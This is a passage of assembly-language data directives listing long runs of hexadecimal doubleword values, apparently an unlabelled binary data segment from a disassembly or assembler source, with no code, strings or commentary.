0B7C583ACh, 0EA9390F6h, 424B00C8h, 1DD6FBF1h dd 67000B95h, 8FA5A93Dh, 4C34237Dh, 711C6A69h, 0AED20088h dd 899D1C68h, 809C1D38h, 7C6F8134h, 87444Ch, 16CFDB3Fh dd 6A0ACE20h, 620E8500h, 9CA4FE8Eh, 79600064h, 7E383BA0h dd 0A3E4A66Bh, 62440C03h, 0E0101BF9h, 0ECB55Dh, 8A935549h dd 0EBFCBECDh, 7800ADF0h, 8C743DEAh, 7D2947h, 0BB338DECh dd 1ED1F6D4h, 8AB39B00h, 0EFBAA904h, 453F00BFh, 6FF73113h dd 0E939232Fh, 43D681CBh, 0F6400967h, 447D5E8h, 13B84A3Ah dd 0B40F80C8h, 0A8007C27h, 80EA0A30h, 1F3173FFh, 40CC47C1h dd 0AEF0E89Bh, 2D0089E3h, 9B303D4h, 4B8CE0Fh, 50C95FDCh dd 4A0BAFEBh, 4583007Bh, 1877175h, 63D4E7FDh, 0C0CA9592h dd 3B0213F3h, 0D9110A93h, 0C28055EFh, 0F720C30Eh, 0D2FB7101h dd 1168AFBBh, 0A431E8C1h, 7314BE8h, 0E2A750ABh, 9185F04Fh dd 5A1FDDB2h, 20C3D8BBh, 0C89EFE5Fh, 130C0B3h, 752F3117h dd 0C0ACEAB1h, 47008511h, 6A61991h, 18E65E29h, 50AAFE96h dd 0FC009E04h, 0E808A939h, 4B1790h, 97B70F46h, 91AA3A02h dd 0E248BCE4h, 5E98001Ch, 0E9F58110h, 0DA1A0087h, 5B9667B7h dd 8B00CCFBh, 0BE5EF93Fh, 7FE862CAh, 14023D89h, 9C02CB3Ch dd 501EB493h, 49120B60h, 0ABCA00Eh, 3DA9E077h, 2C5358h dd 19425509h, 32D48BBDh, 0E5B33900h, 0FB014629h, 0E9F300A9h dd 90CEA7F5h, 0DD02CFFDh, 2BA68E9Ah, 5DC605Ch, 47ED0045h dd 5B8B2D88h, 0AE016638h, 0EE352665h, 0E5F0BF91h, 0B9230082h dd 0A424895Eh, 2FF269C9h, 0F367FC00h, 439C0540h, 0C0EE60CCh dd 0E49DEA41h, 0DE85E100h, 17BDB869h, 2A0500ACh, 24CB3D8Ch dd 1100D6D2h, 7086309Ch, 2EEAB66Fh, 2FDF6Ch, 90C165C4h dd 5B005F1Dh, 0B4BF1ABh, 2C5737h, 0FB82882Eh, 0EE3ABB2Ah dd 0A033D77h, 1166015Fh, 0CF35C012h, 7791074Ah, 2002731Bh dd 20A86C2Dh, 19438C00h, 32BDB70Eh, 2E70EC4Dh, 95A264h dd 0C5BE5624h, 9D000578h, 0C804F1ACh, 0D52CFEh, 0FAEA9DBh dd 0E38F7506h, 0EFEC8600h, 1D04A7C9h, 0DAAC00A8h, 5D563B2Dh dd 2E03136Fh, 38964FE1h, 1B97B8E2h, 9E5B006Ch, 0E96AD661h dd 0BB00D00Dh, 0C20825A6h, 838472h, 1FEA3CE4h, 94DFB8AEh dd 291BDC00h, 13D34C3h, 0B6FC00FDh, 0C1F5470Ch, 5001761Ah dd 3208C61Ch, 0BC647DEFh, 92BF0039h, 0D37BC8D1h, 0D424B943h dd 0F4007A19h, 856DFA81h, 87CF0092h, 1EF6FE3Ch, 0F4EDE622h dd 1600681Bh, 3E89585Dh, 0ECEE4AC8h, 330F4A2h, 0B307BF1Eh dd 81B8A5B1h, 0AC00CEA9h, 1F41A0F8h, 0CB3CD7h, 0FBB40C22h dd 5207372Eh, 0C8507800h, 0B9BFCD2Dh, 543C004Ah, 0FBD3D45Bh dd 0FAE6BEE4h, 5C2C4D78h, 1D00FCCFh, 83C7DB49h, 0DEDF0070h dd 0B19FADE9h, 0CC1DD810h, 0A400AB05h, 6245BD60h, 7A190018h dd 21C5390Ah, 0A5EC0859h, 1B6C75Ch, 489F756Ch, 4BCCA378h dd 2231164Ah, 7BCF069Ch, 1B0278FDh, 0AF32679Fh, 0B9E1401Dh dd 0CB8700A0h, 7EF1A9B7h, 4500E5ADh, 5EA3949Dh, 88F399h dd 0E29F90B2h, 6C36BC29h, 0C7758000h, 0BD1B7A6Bh, 525017C6h dd 78380231h, 4D406343h, 7176CDD5h, 0BDAECB00h, 2D214066h dd 0E35700EDh, 0FCB365E5h, 4700B887h, 0DA74C6B9h, 1C10E9h dd 0FF4BF633h, 0CE9703AAh, 0D3F3D600h, 3026C409h, 2AE00C9h dd 0DE5557C8h, 22009392h, 18BC2DCh, 679194h, 9604E3FBh dd 0CE40C9B2h, 8800E171h, 64AC6A9Bh, 1EE8CF0h, 0E0B63FE8h dd 0C046D40Ah, 0D100032Fh, 26CFEF33h, 7EB300Dh, 5E24AA7Ah dd 6502A09Eh, 0F0001197h, 94BA508Eh, 789DEBDh, 180F6159h dd 4431B0C1h, 6C0188CDh, 7277F654h, 0C4F47692h, 87EF004Dh dd 0B286429Eh, 0C5385EE7h, 0A1B08077h, 0F3606F8h, 29763881h dd 801E289Fh, 0B613DCD3h, 0A312A7F7h, 0D80045B1h, 4E3A06CBh dd 17260387h, 7C37F09Fh, 0C12BC0FFh, 0B600EDDDh, 0EA651EE6h dd 0A9AB9Eh, 6F34E4Dh, 0FAE34878h, 0CC03F5FEh, 0E45979A3h dd 2CF80004h, 93B1DCF0h, 3B00011Ah, 0A8D070E9h, 14AF684h dd 0E75CB924h, 0EC617528h, 9B037AD3h, 0EC504460h, 94C08C93h dd 91BCB7h, 9D64BFB3h, 0D3974A20h, 47EA1605h, 0C0BFC622h dd 33918C25h, 0D81342FAh, 3C00343Ch, 75521607h, 4DE21FAFh dd 6930C032h, 5013805Dh, 0E9EC6BF6h, 34E75F00h, 33A646CEh dd 7D7657h, 228E5BC7h, 0A77135A2h, 25165000h, 0D38054D8h dd 0EF9E864h, 8CCDDFA8h, 0A66E96E0h, 0F2000201h, 0FB262BF0h dd 58C5E154h, 0ED002D0Eh, 0E5094314h, 83024CAAh, 0C212413Ch dd 0A4958005h, 0ED4385F0h, 6A7ED4h, 0CE536D7Bh, 4FCC0631h dd 838EBC3Fh, 20473792h, 73B1F849h, 582E0087h, 4B672DAh dd 0FF245945h, 3C002B85h, 0DB92D17Dh, 0B1BF811h, 0F4CEE50Dh dd 2CD90F85h, 0A00ED218h, 6058D839h, 6497D16Dh, 0D69800FCh dd 0ACD7CB9Fh, 0D90132A7h, 342D8CB1h, 48C4993h, 0AE51698Dh dd 2B715807h, 0FC800288h, 0C41FF3h, 36CD9778h, 0A371B8Dh dd 0C13D124h, 398BFC03h, 11A4C1A1h, 0E0C32531h, 606CC2h dd 4BEF85D7h, 0EC90370Eh, 0F28E000h, 3F19ADFDh, 420500F6h dd 377ADEE7h, 0F95CBB7Eh, 968C0380h, 317EF80h, 5FF84560h dd 568044FCh, 1B312E57h dd 0B5163808h, 11CE260h, 21DC029Ch, 80B73493h, 689A03D8h dd 3894C77h, 1067CDABh, 0E0146C87h, 70A854F8h, 0ED4FA90Eh dd 718A6770h, 6683A720h, 7856034Bh, 36610C16h, 410F77D1h dd 7092D7B8h, 0DA00A004h, 5DFFDFCAh, 17D21794h, 0E798B0h dd 41DA7E4h, 116860Dh, 0E70027E6h, 3CEBC1C2h, 6F0703C9h dd 10875AE9h, 9A2DE800h, 43B37339h, 0F1ED0068h, 0AC1D1947h dd 0F3587EA5h, 2929608Dh, 17F518h, 8DE93734h, 103F0F54h dd 1B2F5F00h, 0F3BACA67h, 0B6490074h, 0E0CCD986h, 4E006F8Bh dd 3D83AEEBh, 0AB0C065h, 0FD250ED6h, 0EE2D40D4h, 5E3DF2C3h dd 3F54000Ah, 65E1BF06h, 3171D6h, 0EB70D9CAh, 643D15BDh dd 0E3460201h, 2C0FDD5Fh, 759B9CD8h, 4E758095h, 3AE5FF00h dd 1ACE6EB1h, 3E6001B8h, 64FC1189h, 87F0CCAFh, 4C91EC00h dd 325F68C0h, 25E70343h, 262DEE76h, 6C20AC60h, 5D4DF4h dd 1CB55CB7h, 0FCCE67D1h, 3C07CF00h, 6CE0AC80h, 0C917008Dh dd 0F92315CDh, 0DE00D35Eh, 0C26D934h, 0EAEF3ACh, 9216BBCAh dd 654D07FCh, 0C0A36033h, 440049E8h, 45D3B7C3h, 85AC7Fh dd 0C10464F7h, 4EEE9B7Ch, 79CA1A03h, 91F38Bh, 771B4B70h dd 0DC696DB3h, 80D15638h, 2BA51F57h, 7ABF076h, 41D4680Fh dd 5EED00D6h, 1F005CBDh, 11CE90E4h, 1540CD27h, 101875C9h dd 7F8B9F03h, 0F82CB9CEh, 0E000FFACh, 954FEEFEh, 0C925004Ch dd 77F90C18h, 0EB7C482Ch, 5BE8D500h, 0D86336B2h, 89B500CFh dd 90CC8151h, 0F0C0218Bh, 33AF8CE0h, 0D20E03DBh, 0D1C1C795h dd 28F70800h, 86ACE081h, 5B970FF9h, 0B8C6E815h, 45001837h dd 16928970h, 1722E717h, 193D543h, 34EFA728h, 9CFAF4E8h dd 2808AE00h, 0D63DA6Bh, 1798015Dh, 0E8D3CD83h, 4AB76026h dd 2F55AD00h, 0EB87E529h, 64150059h, 0F4B14606h, 2BE007BBh dd 0BF449F03h, 0E8CF896Eh, 40C865h, 20355633h, 8D76A6E7h dd 0B43BBC00h, 1BBF5BDEh, 3ADC0745h, 0A047890Bh, 90065AACh dd 13245900h, 8284C638h, 0AF20083h, 4CC8E0A8h, 7D0EE129h dd 0A018D465h, 0C0375824h, 67F501A3h, 62738E6Fh, 0EA76E091h dd 0ADE4C800h, 57A5B84Ch, 9AB20079h, 21B5D50Ch, 980A8B27h dd 48C3783h, 0AE304F61h, 5625DDCCh, 4AF70C86h, 183DD830h dd 7B0F080Fh, 6D4480B5h, 34841C9h, 25A3F707h, 19109C24h dd 8C8246D5h, 71209EBDh, 800AE27Eh, 9944C234h, 47B4219h dd 8624059Bh, 7422505h, 0E81AA824h, 0C2FAD8Ah, 87230402h dd 43E90284h, 8422FD10h, 1184117Fh, 2186F36Eh, 20278ABDh dd 30B91518h, 8D9C180Ch, 18A8C579h, 0CA075C1h, 0C0C1FA21h dd 645AAA13h, 0F885ECh, 6F7D887Eh, 38ABC1B2h, 4B79A8A8h dd 0E44EB900h, 8EC3BC53h, 80E128C8h, 527D00B8h, 1A42937Ch dd 46F66409h, 210090F0h, 0C418EC86h, 751970h, 5852A16Fh dd 0B88187F9h, 0FCB69F00h, 29F44A0Ch, 8F0900ADh, 0C2A9E398h dd 9001F2A3h, 64B26022h, 4CD061AEh, 8C240034h, 0D6013DF3h dd 0A40F28A0h, 82CC63D2h, 90E18345h, 77A4Ch, 85849377h dd 0C12D8846h, 95F8F207h, 9F304DD2h, 0EE165283h, 7B413BF6h dd 54C1E707h, 5E1C60BCh, 1D033B4Bh, 0BD022470h, 41C0DD27h dd 0ADD2652h, 0AE0EB65h, 51C5501Ch, 0AB9B8E87h, 0A4C62C60h dd 0E900207Ch, 0F7C53AE1h, 572917F9h, 8EC0C010h, 0EFBC7F4Ch dd 10AF03Ch, 0C6FAA699h, 298044F7h, 4DB1642Dh, 2B805431h dd 97EE05h, 34BDD89Ah, 0F8AE198h, 5052F875h, 0B857005Ch dd 821659DAh, 3203007Ah, 8B8EF16Ch, 4404791Eh, 267DF345h dd 56EC51C0h, 71E3002Eh, 0B9A5B7F7h, 0E4546430h, 0B10198BCh dd 0A9EE2A82h, 51FC074Dh, 0FEB1E7Ch, 5553C979h, 3845D410h dd 7B1A072Eh, 70B8FB00h, 0FA40419Bh, 0BEA629D2h, 4AA7058h dd 0F689618Dh, 4C4A80h, 8716AFE7h, 0B891BCC9h, 3F400488h dd 907D18DCh, 0A9DBB76Ch, 0FB647012h, 45513847h, 16140ECh dd 7BF34ED3h, 8F8FE74Bh, 0A1DB2A31h, 620CAB5Eh, 0CEECD3E9h dd 82AA0497h, 98B1E82Fh, 8F21B874h, 0D7DC78F0h, 2746EC00h dd 228143CBh, 84DE06E7h, 0D0296690h, 5C670312h, 0ED6CCC00h dd 3094857Dh, 0E740F409h, 2A7B9047h, 39CC8801h, 0E6443BE0h dd 0D20DC4h, 111764BBh, 0AAE1DD9Ch, 0B759BE00h, 0FA0198AFh dd 82C8009Dh, 0FB7C23A7h, 0A90FED49h, 0C19A4D78h, 0ACAAD33Fh dd 60B4F9FCh, 6F0B58D1h, 3003998h, 481A3344h, 0EFB6BA4Fh dd 3E2BD0h, 0CA76BF7Bh, 2C532DCCh, 0E9A20600h, 6AD4B762h dd 0F101513h, 2FFC44E0h, 5808A06Ch, 4A2A000Bh, 6D0C0F27h dd 16038FB6h, 80A84609h, 43CAC0AFh, 0F3390091h, 0A2699E71h dd 5A00FCE6h, 5B814D94h, 0F7EE62h, 9AE4901Dh, 9B697E63h dd 0CC1C7B7Dh, 2C409251h, 85D6E9AFh, 0F7600E6h, 3E18CD5Dh dd 0BE609B6Ah, 7E6D5589h, 1CBC785Bh, 4798D463h, 0C540CF3Dh dd 27847028h, 0ED38F921h, 1B6F1E2Ah, 0E6D896C0h, 7B3624Ch dd 376A4D7Ah, 0BE008E50h, 80554E51h, 94F4EE1Fh, 339064C0h dd 6E542h, 0CCB33712h, 0B43CD1B7h, 390003E8h, 92951AA6h dd 2A70C10h, 0FF71B3DAh, 0D0A34129h, 0F4D80F50h, 0C3003210h dd 21F2E344h, 17145AEh, 6028D542h, 0CC10D6E6h, 6FE2B352h dd 65298300h, 27F61EDCh, 599D00FEh, 0CCDF1347h, 0CCA0B2A5h dd 0C105349Fh, 69B6DE0Bh, 52149400h, 0B8C095h, 0AB9E9D56h dd 0A0890E64h, 26FDF400h, 171B9F3Dh, 0DFE5248Ah, 8983550Ch dd 0F00896D8h, 48A68FC3h, 0F08004EAh, 0BE40456Ah, 9EE6D01Dh dd 0FCF3030Ah, 0C9F9C55h, 40C8B5C9h, 0F8AD160Ah, 2400F45Dh dd 4AE04596h, 3735296Ah, 31C86080h, 72291BA2h, 5F5944E7h dd 0FBB7E980h, 2D3A7D9Fh, 0C4F7E0CAh, 168448C0h, 5590A040h dd 247906AFh, 20B18EDDh, 0AD668C1Eh, 0C131A61Bh, 21E1C739h dd 301120FFh, 4AD6022h, 7D08DBC1h, 502941A7h, 4180FD85h dd 0C15594E5h, 23E6F4E0h, 0FED41618h, 72CFF0h, 34E50BA2h dd 64951BFFh, 0F04021E5h, 0B000D6DAh, 3BDF7E39h, 332AEh dd 91F7C1F2h, 0A5DD05A6h, 0FD1B8003h, 406AE49Eh, 9779C48h dd 5EBDF9F4h, 7A030090h, 5DE3800h, 0C36D0EECh, 1C960033h dd 1EBD917Eh, 2E00E280h, 0F5B6889Ch, 2EFB2C5Ah, 27338Bh dd 56069025h, 0C43C91A5h, 393780E8h, 5A26F72Ah, 0CB965034h dd 30F87131h, 783889A8h, 0AB00DDDBh, 0F7DE71CBh, 7BC0A1h dd 0EB1A9A65h, 8C0E2861h, 8BAC28C5h, 0B7043Ch, 6F66A508h dd 3A510DB1h, 4AA0D366h, 587A41h, 939F6EE1h, 0F237ED36h dd 917FFA1Bh, 0E14CB889h, 9E3A00FDh, 73E769D6h, 0B01AEBDh dd 144A7BD4h, 44DC9DEBh, 0EC4107CAh, 0C05E54AAh, 81D48BA0h dd 0C34E9080h, 5C7E2791h, 0CF6745E8h, 55E00D1Ch, 25F96DC0h dd 7742Fh, 7128FFF5h, 6176FA80h, 0CBB808C6h, 0F972C320h dd 8488B41Ch, 5C00F7DDh, 0E0FC604Bh, 1CA44667h, 0C0888E94h dd 0D0A64589h, 0F6031CA8h, 6567FD22h, 0B4CA125h, 0FAC20BBh dd 0C0E61F85h, 6138FAB2h, 3D029FBDh, 9BE01255h, 9D4CA049h dd 4628E1F6h, 1D9B2201h, 0F951D6h, 0DC4AC1ACh, 782E79ECh dd 25001EB0h, 71337321h, 9F7A06C4h, 187F0C16h, 0B8A52F0Bh dd 0EFD280E1h, 1CFDBF06h, 0C0598D76h, 26E86DE9h, 350E4461h dd 8C559D84h, 40045877h, 0C600E994h, 0BEEC010Ch, 0F6FA6A9Ch dd 8F1E0072h, 0E440E1B5h dd 54F8E02Ah, 6C9D6728h, 807E6621h, 1960F6D2h, 828581D9h dd 0EBF99FADh, 315BFD40h, 65F0D72Eh, 4BB55E00h, 18A49E91h dd 0D196BB30h, 195C7A6Dh, 0FCB506BDh, 18630Dh, 0AD219FBAh dd 6B58842Fh, 28C080F5h, 0A8207ED4h, 0A39A03A6h, 0E00129E7h dd 0A9944801h, 0B4A5CA21h, 2C23DD4h, 5A85AA1Eh, 0F08095D0h dd 0F43F69A0h, 9093F11Eh, 0B6425841h, 23C0F661h, 0F90B80Bh dd 1CBEDEB8h, 252160A0h, 0CC00E108h, 9D1DFBF9h, 0D40CC4h dd 888D3E5Fh, 0EEA51350h, 0F574D100h, 33CDB709h, 0DAFA0057h dd 0AFE06156h, 290F16BEh, 38634D39h, 0C4CB0708h, 452020h dd 58295EC4h, 0B210008Ah, 49CA7511h, 0A0002017h, 0F2BB5C2Bh dd 786CD748h, 79380161h, 4FB67E7Ah, 90B7E377h, 6DCA034Dh dd 0C00AE400h, 6865846Fh, 9DDA18E8h, 4C4A181Ch, 7C001D71h dd 0F288BEDDh, 0E2891EC9h, 0CBFB002Fh, 64744801h, 0A700CF54h dd 21B0F08Dh, 609BA891h, 0D560D156h, 0AC00C605h, 0AB0D35BDh dd 3E13203h, 6FF3B6B4h, 280FF40Fh, 0BF9CA9D8h, 64D54EC1h dd 76F08901h, 1BDD004Ah, 1939797Ah, 0DF00B89Dh, 0F9E09916h dd 4E0DDAh, 36338FDBh, 6DFF2896h, 0CDA6F0C3h, 15803C2h dd 4AFEF818h, 6020F800h, 2795EC8h, 0D7960069h, 621BB7F5h dd 0FBF2CAE0h, 7DB5D41Dh, 0C700F3ECh, 5B70B2E8h, 7B81E459h dd 3387004Bh, 9D513525h, 0FC1884F5h, 72A212D1h, 49AB0FD6h dd 0B0011CB5h, 86D22CD0h, 3CA6FAC8h, 24CE430h, 2F2E1D43h dd 3FE0AAFDh, 0E800DD89h, 4F33F33Bh, 2B3F8F1h, 82BB2CFCh dd 84816C14h, 58540334h, 0EF028C8Ch, 83E96E99h, 10981116h dd 0DD6037h, 0B91C3666h, 432774AAh, 8FA47F3Bh, 6A042BA3h dd 480090AFh, 4BD1720Ch, 6C5203B5h, 7D4AFF9Ch, 0E031EB0h dd 66B81902h, 45E3BE7Ah, 0C83AC254h, 0BF2618h, 0ED70DDFBh dd 66BDE909h, 644E7200h, 0D2A7B5A9h, 15FD0068h, 7C6AF41Bh dd 0AF091FE0h, 2E0AF3h, 0A976CD4Ch, 0C0CE79BBh, 0DF2356F8h dd 0FD00EA12h, 0B864266Eh, 0ECBC7FCh, 1BA0DC5Bh, 0A5140580h dd 19046F35h, 2C934F67h, 0A02E1884h, 20018C79h, 9CA783Bh dd 0B180ABC3h, 568872E8h, 75286FC2h, 0DA00E031h, 0CD65BEF8h dd 90B707B3h, 8ED21000h, 38688027h, 0F40DF5ABh, 961C44FDh dd 0F0BB88h, 9A14B338h, 8FCC6CA2h, 211EDAEEh, 5C2471AFh dd 0C39CA3E0h, 70E04994h, 89C0A900h, 0F50EF344h, 431ECF01h dd 2026C7ECh, 0E9C2808Fh, 5E44E5C0h, 1A06E249h, 4B31ACCCh dd 0AA300C8h, 9CB86742h, 0E150A68Bh, 0AB03FB80h, 0FA2D064Bh dd 243CE017h, 90D10029h, 750E403Fh, 48009144h, 0EEA34A07h dd 7EF319h, 26AC5ACEh, 30928FC5h, 282CC806h, 0B285EF5h dd 7B37E418h, 0AA1A3701h, 6095C8BFh, 7A84200h, 29E477DCh dd 0C5760773h, 0F09B2F22h, 96A5D2ADh, 62FD0E00h, 0F0B95E7Ah dd 495F0A14h, 832C5C21h, 1AE97402h, 0A36338A7h, 3C200745h dd 90FC8BEEh, 0A6B20781h, 5DB78900h, 0E7BE32A3h, 1BCC7417h dd 888575E1h, 43A8AAC0h, 0FFC7AE01h, 0F0A93ECAh, 50BB0898h dd 43F00417h, 711F0500h, 0CEA29463h, 92361542h, 0FF1E8CECh dd 30B0185Bh, 5CF6ED1Ah, 0A6B01561h, 0D6E079AFh, 4B78D8h dd 78E12004h, 1E9F60FFh, 0FD5CA703h, 690F13h, 0E18A9230h dd 0D80857A0h, 4CD75D00h, 0AF1C3114h, 49CB1A12h, 0A586287Bh dd 6801C12Bh, 0C0A7D7B0h, 0EEC8E6A1h, 78CD1DDCh, 0BB2E00EDh dd 68EBC73Eh, 0A4FE3500h, 52161054h, 0F2043C72h, 0C230A630h dd 3E3E9EBEh, 8DD85Ah, 0ED2BAE85h, 20B898h, 6E7782B0h dd 63722719h, 0DF03E03h, 0C0C1E9A8h, 1263D8Dh, 0A539695Ah dd 8C748F54h, 20C6DB08h, 269D004Ah, 0D0F4C0B7h, 1CF48B30h dd 7F2A8C06h, 0A85303h, 0D787CBC1h, 77F15D55h, 102D7A1Ch dd 0E08BDBC6h, 4F720020h, 873557B2h, 0A14CE216h, 78A51F2Fh dd 0B4B1E140h, 6912279h, 29A00AF7h, 0D200590Ch, 6DDEF828h dd 37857715h, 0A6E032E3h, 4705C00Ah, 9A300D44h, 5014EE00h dd 70E2D31Eh, 0F11C008Bh, 6C93C231h, 72F63E54h, 25058898h dd 5A031906h, 5D64F381h, 0F567088Ch, 6F0BF20h, 2FC400Fh dd 549AC0A7h, 19F1FFE1h, 50CB7FBCh, 252183Dh, 855C1206h dd 0AC108B8Fh, 5671000Fh, 5A0BB6A4h, 0C8FB8EC6h, 0E200EAECh dd 410D7993h, 1A3E4h, 468FDD83h, 3DFD8CA2h, 3D36039h, 97358456h dd 327AE8A5h, 54B91FF9h, 0DA38C027h, 0DE18EC77h, 0CC85E00Bh dd 487F8CC5h, 52353E21h, 800DB19Dh, 385457D0h, 461E5F27h dd 603A8C83h, 0D60DB084h, 335800A6h, 0F913E4CBh, 95062D79h dd 0A39CAF12h, 0A25A0F78h, 0E9876D2Eh, 0FC1E609Fh, 0E200EF90h dd 3EB343B0h, 6C30FD4Dh, 0FF8050DDh, 3600FE43h, 5738665Bh dd 80444FF4h, 40E64076h, 0D95B4E00h, 0BFC6138Bh, 0CE770381h dd 57A3DBA5h, 0B38E71D0h, 70D8A734h, 0E1449800h, 7AC53D1Ch dd 577C3F90h, 0BC18F33Ah, 0E92A20ACh, 0C6382703h, 0D28B3Fh dd 19641CD0h, 0B646A692h, 5B39200Fh, 32F80C0h, 0EEBA78h dd 2DB0E440h, 5AD6AB3Dh, 0E58AC560h, 307F19BEh, 2ED0703Bh dd 1A00A685h, 2D8C020Ah, 2B9D1D3h, 0C877DBF4h, 0E8805218h dd 2E9306B0h, 32C4605h, 3040AEFCh, 1D3AA2A9h, 10804325h dd 0AA005F82h, 37C3AC11h, 153B430Bh, 75EC182Fh, 0CF8959h dd 8AE0933Ah, 785F1624h, 54903401h, 997E2BE6h, 6C87D8h dd 0D0F31BB9h, 0D26885A3h, 35398D03h, 9841BBF6h, 0E2C287h dd 0A17E771Bh, 481CA61h, 0A9246500h, 0BDA31507h, 0A648004Eh dd 0BDEB651h, 9F008AEDh, 6750EA4Fh, 2631A46Eh, 3BA273h dd 0AF1647C3h, 201D3A0Eh, 4ADFFF92h, 34762A00h, 0B60C7Fh dd 4C506CDAh, 3A590F15h, 9290DC1Eh, 931B941h, 0F3C744h dd 88E804E0h, 87166C42h, 5226BE00h, 0EB7A51CBh, 87100F9h dd 41D15F92h, 0F60739DEh, 57915A3Ah, 1547B957h, 2CDB5CA0h dd 51767Eh, 1D553741h, 0DDC2CFFEh, 47938100h, 42787FB9h dd 751C00A7h, 8A4B23F7h, 9DF4463Dh, 2EC80303h, 80516358h dd 24528C32h, 87D4B4D3h, 0E725826Dh, 75DB0011h, 2048CCAAh dd 89E90065h, 1EA0DEA8h, 21260108h, 61E8F4C4h, 80A2FD13h dd 73A5F841h, 1F211564h, 703DD16h, 10E31CB9h, 0B529D683h dd 4730E271h, 8BB008A3h, 0DE2D0063h, 574B6453h, 2600DC9Ch dd 4C89CFD9h, 7915D09h, 0CD075BCAh, 4E2AC0A8h, 5E0470E2h dd 349E1D3Bh, 2E2F5C90h, 65400080h, 1E297B62h, 5D034BA4h dd 99A2DCF9h, 4E2F863h, 0BBB500C9h, 3106E8B1h, 0AAF86103h dd 5ACD940Fh, 62812345h, 38C08725h, 0E29A7EBFh, 40A81FB1h dd 0D3313343h, 9FC0A4C0h, 0D5187E7Eh, 0AB18EC28h, 0F4924025h dd 45474211h, 9A490300h, 410AA95Fh, 93A3513Bh, 0EF6512h dd 7BB56911h, 100085BFh, 0AC4119F3h, 398FF858h, 0F00008FBh dd 0CF1FE6D5h, 373E6FECh, 9DA07250h, 85E861C7h, 0EBB27502h dd 0E05FDC77h, 123029h, 95DFBD57h, 69DAED7h, 5E49200h dd 0FF85B37Ah, 14810090h, 0CF3995E1h, 0E200ABD0h, 0FB06ADE0h dd 249648Fh, 92110BF1h, 2C10516h, 0D30CFCE6h, 772870C0h dd 0F01089F6h, 0BDB61833h, 4F2A31BEh, 87B5D73Ah, 0DB36A0FDh dd 0AE506E20h, 0BF70C198h, 78132033h, 0D60C70D6h, 3193CE79h dd 38A40296h, 99E2706Eh, 9D5A4130h, 504B36E1h, 99457618h dd 4232CACh dd 0F9BBBB01h, 71B0859Eh, 5898B909h, 6D475730h, 0C0D3B60Bh dd 75787103h, 649451A2h, 0D5F92C11h, 0DE621680h, 6E32910Fh dd 0B9450834h, 38FE4768h, 8A8552F6h, 6730FA24h, 0FC65056h dd 0C407DCB1h, 0A199F085h, 7789C4Ah, 4AFB20BBh, 0A10A5806h dd 57418B36h, 0AC1068B9h, 963199F3h, 3E0FD620h, 30D6FD31h dd 0C8B2A71Ah, 0B9763021h, 63184AC4h, 0CC27BC60h, 0E68DD661h dd 427FB085h, 6F111598h, 0D756D49Eh, 8EB61838h, 7492F140h dd 7F110476h, 8F906E39h, 403E2910h, 0CF1E1686h, 0C9F73A78h dd 0C5CBD10Ch, 0B0A0DA08h, 9E495C70h, 0B0F7A21Ch, 56E0F648h dd 4C848079h, 82567039h, 0FE30CCC3h, 1E487180h, 46B1013Ch dd 0C1708A73h, 17F0088Ah, 9C910DACh, 75004330h, 0A8E51033h dd 98704730h, 0CC246789h, 9084814Dh, 11F89D40h, 2E511060h dd 0C47128DEh, 0BD24BEF8h, 0AC78E085h, 6712F344h, 19AFDA23h dd 48BCED58h, 0F1342014h, 0A09177E6h, 0B5F1A0CDh, 3E02761Ch dd 95108A29h, 2CBC05C4h, 6015F4E4h, 0F1C378Eh, 60DB27D6h dd 40E24905h, 0C3BC912Dh, 34A27757h, 9F41CAAh, 18168582h dd 2A198C77h, 0C6115F91h, 495A05F2h, 848047DCh, 0C55D3B0h dd 5BBEB11Dh, 6360FC29h, 2416FE35h, 2C00155h, 8CB6DFD8h dd 5FEC38B0h, 540FBA12h, 198BC41h, 804A0CB7h, 14D4AC3Dh dd 1CA34176h, 0F7111928h, 0D610A955h, 9AC01A5h, 0BBECB6FEh dd 8F1184Ch, 5D7E2A72h, 0A8AEB60Ah, 0E91C2506h, 62320330h dd 0FF6B106Eh, 20B0F0A2h, 4810D773h, 160137A3h, 6560D4E3h dd 0E5A1EBE1h, 50388CCFh, 0AC10082Ch, 62F21D6Ch, 0F641F092h dd 80D0D8CFh, 0FCABA0A8h, 663A2AF0h, 0A87463C4h, 28A582E5h dd 0BA0AE018h, 0C06D5042h, 69DF589h, 0F08EF6Ch, 609E2CF0h dd 2FA0A034h, 0B531A698h, 0EC96383Eh, 9C463000h, 0B3C01891h dd 0A8892810h, 2B8776F4h, 8174859Fh, 2BD9C994h, 0D6288960h dd 0B8C38BAh, 0F0E518A7h, 0CFB62071h, 6448AD62h, 1A8C7AAh dd 18431DCCh, 16309E72h, 966E9E09h, 2A95F258h, 14843A0Ah dd 0C49DF2F6h, 2B60F3E0h, 284BCB30h, 99D5B856h, 1F21CE80h dd 54C9B18Dh, 0C7C0AEACh, 98263F50h, 0AEF4375Ch, 0AC09FCB8h dd 0F824D092h, 58260CD9h, 0F2A00D50h, 0B84754A6h, 85B200F0h dd 8A2514D0h, 40DEAAB0h, 0F4A2984Ah, 2C540912h, 7835A044h dd 0C458529Bh, 197FA800h, 0B75CB971h, 86ADC003h, 0A81E72C3h dd 3AC421h, 23B640B4h, 0E6910EC1h, 6032E0Ah, 0B26018CFh dd 40CB8320h, 900D6BFh, 0BAEC56EBh, 474DE317h, 50480EB6h dd 149083Ah, 56A78376h, 1D001A8Ch, 0AF91568h, 10091D6h dd 1B67D093h, 7527153h, 0E6E88F0h, 1284C02Bh, 1D08247Dh dd 7F2A9Fh, 0AFD18BA1h, 14A68F77h, 0E29D0504h, 410061D4h dd 0BB7CFCF4h, 8E259E3Fh, 8A22983Bh, 0DFC01C1Bh, 405544A4h dd 0C903E10Dh, 0FC3B7CF3h, 351BA0FDh, 4E10C5FBh, 701C202Bh dd 0F144AB8Ah, 26483D81h, 88CFB8Fh, 78C55BE6h, 984E7B10h dd 18115C18h, 77C94D4h, 0FB280A61h, 188A1C22h, 43302AD0h dd 0CB88B477h, 911CD5E7h, 48B3E221h, 3C6874B1h, 0BB182B67h dd 0CCFB0873h, 17C423Ah, 3B06D529h, 5BD0CFF9h, 0F8E7785Dh dd 901562B5h, 888017F5h, 0DB079D48h, 30ABAD31h, 0C1D3D824h dd 108CF63Ah, 0AF8F788h, 5B67D906h, 63380350h, 3EBB184Dh dd 82DBB839h, 9CD0522Fh, 3260906Fh, 0A1DC149Bh, 0C1119086h dd 0F247184Fh, 0B84E04A8h, 364A30DCh, 6DFC608h, 90A3D8F0h dd 152BCE1h, 0DC4E26FFh, 0ACE42906h, 612861AFh, 7B01F05Fh dd 5B7CF9EFh, 0DBD0B2FDh, 25E10EDAh, 6801A410h, 9B28651Bh dd 